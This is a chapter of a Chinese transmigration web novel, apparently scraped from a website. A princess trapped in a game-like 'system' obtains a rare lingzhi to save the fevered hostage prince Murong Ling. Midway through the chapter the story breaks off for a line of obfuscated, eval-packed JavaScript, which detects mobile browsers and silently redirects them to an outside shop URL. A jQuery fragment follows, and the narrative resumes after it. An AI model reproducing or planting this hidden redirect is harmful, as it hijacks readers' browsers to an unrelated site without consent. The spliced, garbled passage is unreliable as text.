万寿堂内,云瑶乖巧端坐。
太后目光微敛,细细啜了口茶水,不紧不慢道:“说吧,你这皮猴,又犯什么事儿了?”
“儿臣确实有一事相求。”
云瑶将事情原委道出,但隐去了自己殴打慕容翎的部分。
“哪知慕容质子那般娇弱,不过是跪了顷刻,便倒在地上不省人事……”她熟练地背自己台词,“太医还说没有千年灵芝他就快死了,好好一个大活人,哪里有这般容易就死了的。”
“母后,儿臣这次来就是想和母后求那株灵芝……”
“!”哐当一声,青瓷碎裂。
云瑶抬头,只见那美貌妇人早已收起一副慈悲相,她面带愠色:“荒唐!”
“北姜与大周边境相接,岁末便有使臣献礼,眼下不过五日之期,若是那北姜质子被你害的殒命,岂不是坏了两国交谊!”
“儿臣知罪!”
“要真因为质子之死,挑起战火,令数万百姓流离失所,你难辞其咎!”
“陛下与我本就母子离心,这样一来岂不是更添一把烈火!真是平日纵的你无法无天,本宫怎么会有你这样蠢笨的女儿!”
云瑶不自主双腿一软,跪在地上。
把脑袋埋的低低的。
奇、奇怪。原主似乎很惧怕周后。
三周目了,云瑶第一次提取到这个信息。
不过也正常。平日里妈妈疼妈妈爱,犯了大错被批评,一时半会儿没反应过来也是应当的?
【宿主,慕容翎危在旦夕。】
【知道了知道了。】
在系统的提醒下,云瑶继续过剧情。
云瑶再次抬头,点星般的眼中立即包了一包泪,盈盈似水,委屈都快溢满。
“母后,儿臣知道错了。”
“唯有母后能帮瑶儿了。”
她一步一步移跪到周后面前,也如同猫儿般撒娇撒痴,期待着母亲的心软。
时间一分一秒过去。久到云瑶都以为周太后是不是被她气卡了的时候,她才听见对方的声音。
“瑶儿。”母亲又变回温柔的母亲。
太后垂着眼,抚摸过云瑶的乱发,替她收拢进发髻中 。
“罢了。救人要紧。”
“东西你拿去吧,不过瑶儿,母后有件事交给你。”
*
从太后手里获取了千年灵芝后,云瑶一刻不停,驱车回到了偏殿。慕容翎跪了三天,却不知是否只病了三天。
他那浑身的伤可并非云瑶一人所为。
身为质子受人欺辱本就是常事,云瑶都怀疑剧情碰瓷。
冒着风雪,她一脚踹开殿门,“刘太医,慕容翎还活着吗?”
“殿下回来了?!”
“质子尚且平安、尚且平安呐。当真是千年灵芝!如此稀世珍宝!”
他双眼放光,捧着灵芝招呼小童煎药去了。
怕刘太医人手不够,云瑶大方安排春娘等一系宫人去帮忙。而她则做回原本的交椅上。揉了揉在万寿堂跪痛的膝盖。
偶尔瞥过一眼慕容翎,也是啧啧两声。
可就在这时,一股恶心感漫上心头。
强制剧情再次出现。
【偏殿内,你望着慕容翎那张宛若天神的脸,一时间呼吸也轻慢了。你一寸寸数过对方的长睫,目光从眉眼移到鼻唇。】
【慕容翎安静听话的样子就不太令人讨厌了。他怎么就不肯听你的话呢?他怎么就不肯像玉团儿一样,乖巧柔顺呢?】
云瑶直呼晦气。
却也要忍下恶心,按照前三周目般凑上去。
这,就是攻略人的无奈。
罢了罢了,糊弄下得了,隐藏线等着她呢。
云瑶坐的近了些,观察病患。
她垂下脑袋越贴越近,几乎鼻尖对鼻尖才达到系统要求的距离。
慕容翎生的很漂亮。肤质白如羊脂,眉似长剑微挑入鬓,长睫似蝶翼。
因为发烧,唇和双颊透着不正常的红,哪怕病着也不影响容色,反而添上了琉璃易碎之感。光看脸,他精致秀气的像个女孩儿。
——原著游戏就是这样写的,他和x雪公主一样貌美云云。
最特殊的是,他左侧眼尾生了一朵小花状的胎记,艳而妖。
而也是这胎记带来了悲剧般的命运。
老姜王明明有二三十个儿子,却偏偏挑了慕容翎过来当质子受罪。云瑶记得,慕容翎的背景设定里,他天生自带不详的胎记,连带着母妃都被父王厌恶。
他的母妃出身平民,负异香,貌旖丽,自梅林现身。
老姜王凯旋时遇见,认为是天赐吉兆,便赐了个“梅仙夫人”给她,随后抬抬手带着回宫了。
而再后来,到了慕容翎出生时,姜国屡屡战败,境内天灾不断,偏这孩儿又生的男身女相,面带异花。
姜国朝野上下便以为是他带来了灾祸。
【慕容翎确实可怜,你动了恻隐之心,殿内静的落针可闻,你能感受到对方的呼吸越发微弱。】
【高烧之中的慕容翎似乎口中喃喃着什么,你选择……】
——【再靠近少许】
——【再靠近很多】
【请宿主完成选择。】
这是什么选项啊?云瑶吐槽,望着那张近在迟尺的脸,还有再贴近的必要吗?再贴就粘锅了!
慕容翎薄唇微启,蝶翼般的眼睫颤了颤。
云瑶选了【少许】,恰巧听清他的呢喃。
“母妃……”
“母妃不要走……”
慕容翎烧的糊涂,将她认做母亲。云瑶刚靠近,他便一把抓住她的手,抓的死死的,没留一丝空隙。
“母妃,我是翎儿,不要丢下我。”
果然受欺负了都会想妈妈。
这时候的慕容翎也只是个十七岁的少年,孤身一人,在敌国周旋,犹如笼中困兽、惊弓之鸟。
但云瑶可没忘上周目白切黑赠送的杀手大礼包。
她怜悯不起来。
又过了会儿,云瑶只觉一阵无聊,侍女太医们忙着煮药,殿内安静的能听见外面的落雪声。
反正挣脱不开对方的手,她便静了呼吸,注视那道梅花状的鲜红胎记。
是什么让他转瞬间变了心思,定要埋伏杀手致她于死地呢?
在周国,有多少双眼睛盯着他,想他死的,想他回不了姜国的,刀光剑影,埋伏刺杀。
唯有长公主云瑶,一时冲动害他濒死,一时愧疚又跟在他身后挡了无数杀机。
最后,也死于他手。
“慕容翎,你真是……”
云瑶想到什么,却也什么都没有继续说下去。
药这么还没来?
她等了好久。
她一点都不想和这个人呆在一起,靠那么近。
这时,刘太医的声音如同甘霖降落,“殿下!药好了!”
老者苍老的嗓音在殿外响起。
云瑶也发现强制剧情也过去了,她能自由活动了。
于是一根根掰开慕容翎的手指。
折到近乎变形,才把自己解救出来。
可她刚起身,一股强硬的力量便把她又拉扯了回去。
转瞬之间,云瑶再度回到原位。还更近,几乎擦过慕容翎的鼻尖。
她瞪大了眼,见对方眉头紧皱,眼皮下眼珠滚了滚,仍旧陷在噩梦中挣扎。
他双唇颤了颤,说了句什么。
“什么?”可细弱如蚊吟,云瑶没有听清。
“你不许走!”
“不许死……”
“你答应过我的……你答应过我的……”
“不要留我一个人……”
“?”
云瑶被拉扯着,手腕被对方箍的死死的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17907539|213058||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他这梦可做的精彩。
一会儿母妃一会儿毒誓一会儿生死,不知道的还以为梦见什么生离死别了呢。
云瑶没了耐心。
右手被抓着,便用左手落下巴掌。
再是一声清脆,慕容翎白皙的脸上瞬间出现五根指痕。
那双如蝶翼般的睫也缓缓睁开,眼里满是茫然,眼尾微红,沁了泪又有几分痛心的意思。
是萧云瑶,周国长公主。
又是她。
慕容翎醒了。
他仿佛做了个很长很长的梦,梦里有一生那般长久,从幼时与母妃相伴,年幼来到周国为质,后到姜国成王。
梦中,有人与他同生死共进退。许下永不背弃的誓言。
看不清摸不透,梦终究是梦而已。
慕容翎无意间触了触脸颊,滚烫,触痛,还有水迹,自眼尾而下的水迹。
“长公主殿下出手相救。”
“翎不甚感激。”
少年垂下眼睫,恭顺地低头。
他像是自动忽视了云瑶被抓红的手腕,和他脸上的巴掌印。
也像是忘了是谁罚他跪、害他病。话只挑好的讲,事儿也往轻的去,白切黑的语言艺术一向高级。
“知道便好。”她冷冷回他。
瞧他这般低眉顺眼,云瑶一时恍惚。云瑶见过后期质子归国,毒杀父兄,夺权争位的模样,冷血又致命。
每一次忍让都会化作一把温柔刀。等到猎物毫无戒备,就是开膛破腹,啖其血肉之时。
云瑶刚出神片刻,便发现对方眼皮又开始昏沉,半拢着,咬着牙才不至于立即倒下去。
“药好了,等会儿自己喝,别死了给本宫添麻烦。”
“来人,都进来吧。”
此话刚落,侍女们鱼贯而入,将汤药奉上。
刘太医也踱步进来,“待老夫几针下去,再服下这药,便事半功倍。”
“烦请殿下移步,稍作等候。”
“嗯,交给你了。”
她领着春娘出去,回头最后一眼,恰巧望见药童们剖去慕容翎的外袍,露出一片满是伤痕的背。
医者的针落下,血珠立即冒了出来。
门彻底关上。
云瑶走出殿外。雪已经停了,忙活了大半天,太阳西沉,几颗疏星点缀在天幕,夜色盖满了周王宫的每一片青瓦。
“殿下。”
“娘娘交代的事也该去做了。”
云瑶站在檐下放空了一会儿,经过春娘提醒,这才想起还有新的任务在身。她想起周后的嘱咐。
“瑶儿,母后有事情要交托与你。”
【你的王兄自小便有夜间难寐、头疼发作的毛病,每逢天寒雨落便会加重。眼下隆冬时节,不知王兄是否好转。】
【母后希望你能代她前去探望。】
太后与国君并非亲生母子。幼时尚能装的温馨和睦,可等萧裕亲政分权,母子离心不可避免。
加上青州贵族势力强大,萧裕这种人,一时倚仗母族,却不可能一世忍耐一把能随时刺向自己的刀。
而萧云瑶,却被看做两者间的缓和剂。
云瑶也不知道游戏怎么设置的。
简直是梦到什么写什么。一国君主与太后间的亲情纽带,居然是不学无术,蠢笨娇纵的长公主。
“殿下,太后娘娘做好了安神汤,已经差人送了过来。”
安姑姑乃是太后心腹,派她来督促,云瑶是想偷懒也不成了。
何况她刚把姜国质子折磨成这样,差点酿成大祸,依照太后的意思是要去赔罪的。
“陛下近几日忧思多虑,夜不能寐。”
“娘娘爱子心切,殿下尊长重兄,便劳殿下费心,亲自送过去罢。”
【请宿主做出选择。】
——【去送安神汤】
——【还没吃饭呢先吃饭再说】